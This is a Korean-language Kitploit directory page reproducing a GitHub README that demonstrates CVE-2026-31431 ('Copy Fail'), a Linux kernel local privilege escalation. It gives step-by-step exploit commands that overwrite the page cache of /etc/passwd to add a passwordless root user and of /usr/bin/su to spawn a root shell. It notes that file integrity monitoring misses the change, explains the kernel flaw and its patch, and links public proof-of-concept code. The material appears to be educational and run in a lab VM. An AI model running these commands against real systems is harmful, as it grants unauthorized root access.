Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — CVE-2026-31431에 대한 데모 및 설명 | Kitploit
도구/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

CVE-2026-31431에 대한 데모 및 설명

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
13개월 전아직 검토되지 않음

CVE-2026-31431 CopyFail Linux 로컬 권한 상승

CVE-2026-31431, Linux 커널 Copy Fail 로컬 권한 상승 취약점에 대한 데모 및 설명입니다. 이 취약점을 통해 읽기 권한으로 열린 파일의 페이지 캐시에 데이터를 덮어쓸 수 있습니다.

이 저장소는 교육 목적으로만 제공되며 통제된 환경에서 취약점을 설명합니다. 포함된 파일은 다음과 같습니다:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

소개

Copy Fail이라는 이름의 이 취약점은 algif_aead의 로직 결함으로 인해 2017년부터 2026년까지의 Linux 커널에 존재합니다. CVE-2026-31431로 지정되었으며 CVSS 점수는 7.8로 높은 심각도 등급을 받았습니다. 이 익스플로잇은 결정적이며 기존의 파일 무결성 모니터링 도구를 우회할 수 있습니다.

개념 증명은 C, Python, Go 등 다양한 언어로 공개되었지만, 이 데모에서는 Python을 사용하며 Python 3.10 이상이 필요합니다. 이 익스플로잇은 권한이 낮은 사용자로 로컬 코드 실행이 필요하며 로컬 권한 상승에 사용될 수 있습니다.

아래 섹션은 다음과 같습니다:

  • 악용(Exploitation): 익스플로잇 데모 및 루트 권한을 획득하는 데 사용할 수 있는 방법.
  • 악용 탐지에 대한 참고 사항: 기존 파일 무결성 모니터링 도구로 이 익스플로잇을 탐지하기 어려운 이유에 대한 설명.
  • 취약점: 취약점을 발생시킨 커밋 링크와 문제에 대한 설명.
  • 패치: 취약점을 패치한 커밋 링크와 수정 사항에 대한 설명.
  • 추가 리소스: 추가 참고 자료와 다양한 언어로 된 익스플로잇 구현 목록.

악용

설정

Vagrant와 QEMU가 설치되어 있는지 확인하십시오. 그런 다음 이 저장소를 클론하고 프로젝트 디렉터리로 이동합니다.

root@kitploit:~
vagrant up
vagrant ssh

VM 내부에서 우리의 권한 수준을 테스트할 수 있습니다.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

우리의 권한은 분명히 제한적이지만, 이 취약점을 사용하여 권한을 상승시킬 수 있습니다.

악용 데모 1: 익스플로잇 이해하기

취약점을 이해하기 위해 더미 파일을 덮어쓰고 어떤 일이 발생하는지 확인해 보겠습니다.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

이 파일은 세 줄로 구성되어 있습니다. 첫 번째 줄은 6바이트(줄 바꿈 포함)이고, 두 번째 줄은 2바이트, 세 번째 줄은 1바이트입니다. 익스플로잇이 4바이트 블록 단위로 데이터를 덮어쓰고 페이로드를 패딩하여 채우기 때문에 이는 중요합니다.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

파일의 처음 8바이트가 페이로드로 대체된 것을 확인할 수 있습니다. 두 개의 문자가 존재하지만 출력 가능한 문자가 아닙니다. nano로 파일을 열어 확인하십시오. 하지만 그다지 흥미롭지 않으므로, 쓰기 권한이 없는 파일에 쓰는 것으로 넘어가겠습니다.

악용 데모 2: 루트 비밀번호 제거

/etc/passwd의 내용을 덮어써서 루트 권한이 있지만 비밀번호가 없는 사용자를 추가할 수 있습니다.

root@kitploit:~
cat /etc/passwd

첫 번째 줄에는 root 사용자가 있으며, 줄 바꿈을 포함하여 4자씩 8개 그룹으로 구성되어 있습니다. 형식은 root:x:0:0:root:/root:/bin/bash로, 각 값은 사용자 이름, 비밀번호, UID, GID, 홈 디렉터리, 셸을 나타냅니다.

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

UID 0과 GID 0을 가진 새 사용자 hackd를 추가했습니다. 이는 루트 권한을 의미합니다. 비밀번호 필드가 비어 있으므로 비밀번호 없이 로그인할 수 있습니다.

root@kitploit:~
su hackd
id
cat /etc/shadow

악용 데모 3: 실행 파일 덮어쓰기

원래 익스플로잇에서는 /usr/bin/su 바이너리를 셸을 실행하는 명령으로 덮어써서 공격자가 su를 실행할 때 루트 권한을 얻을 수 있습니다. 파일에 있는 원래 페이로드로 /usr/bin/su를 대상으로 이 익스플로잇을 재현할 수 있습니다. 이렇게 하면 페이지 캐시에 있는 su 바이너리가 파괴됩니다.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

페이로드가 적용된 상태에서 su를 실행하면 루트 권한을 얻을 수 있습니다. 이는 사용자 ID 0으로 셸을 열며, 일반적으로는 root 사용자이지만 위의 데모를 수행했다면 우리가 생성한 hackd 사용자일 것입니다. 이 익스플로잇은 root 사용자에게 비밀번호가 있더라도 셸을 엽니다.

root@kitploit:~
su
id

악용 탐지에 대한 참고 사항

이 익스플로잇은 디스크의 파일을 수정하는 것이 아니라 페이지 캐시 상태를 수정합니다. 결과적으로 디스크에 있는 파일의 변경 사항을 확인하는 기존 파일 무결성 모니터링 도구는 이 익스플로잇을 탐지하지 못합니다.

이를 입증하려면 위의 익스플로잇을 실행한 다음 VM을 재시작한 후 대상 파일의 내용을 확인하십시오.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

취약점

익스플로잇에는 다음 구성 요소가 사용됩니다:

  1. splice
    • 파일 디스크립터 간에 복사 없이 데이터를 전달합니다.
    • splice된 메시지를 수정하면 페이지 캐시도 수정됩니다.
  2. recvmsg
    • 파이프된 정보를 수신하고 암호화 작업을 위해 데이터를 버퍼로 이동합니다.
    • 입력 AD와 CT는 복사되고, TAG는 참조로 전달됩니다 AD||CT||TAG.
  3. authensc
    • AD와 CT만 수정된다는 가정이 있지만, aythensc는 이를 깨뜨립니다.
    • AD는 seqno_hi와 seqno_lo로 나뉘며, authensc는 TAG 뒤에 복사하여 제자리에서 그 순서를 바꿉니다.
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • 이 시퀀스는 참조 위치로 복사됩니다.

이 취약점을 만든 인플레이스 최적화를 활성화한 커밋:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

패치

패치는 공개 발표 없이 이루어졌으며 algif_aead의 인플레이스 연산 기능을 제거합니다:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

추가 리소스

더 읽어보기:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Python 구현

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

C 구현

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Go 구현

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
도구 다운로드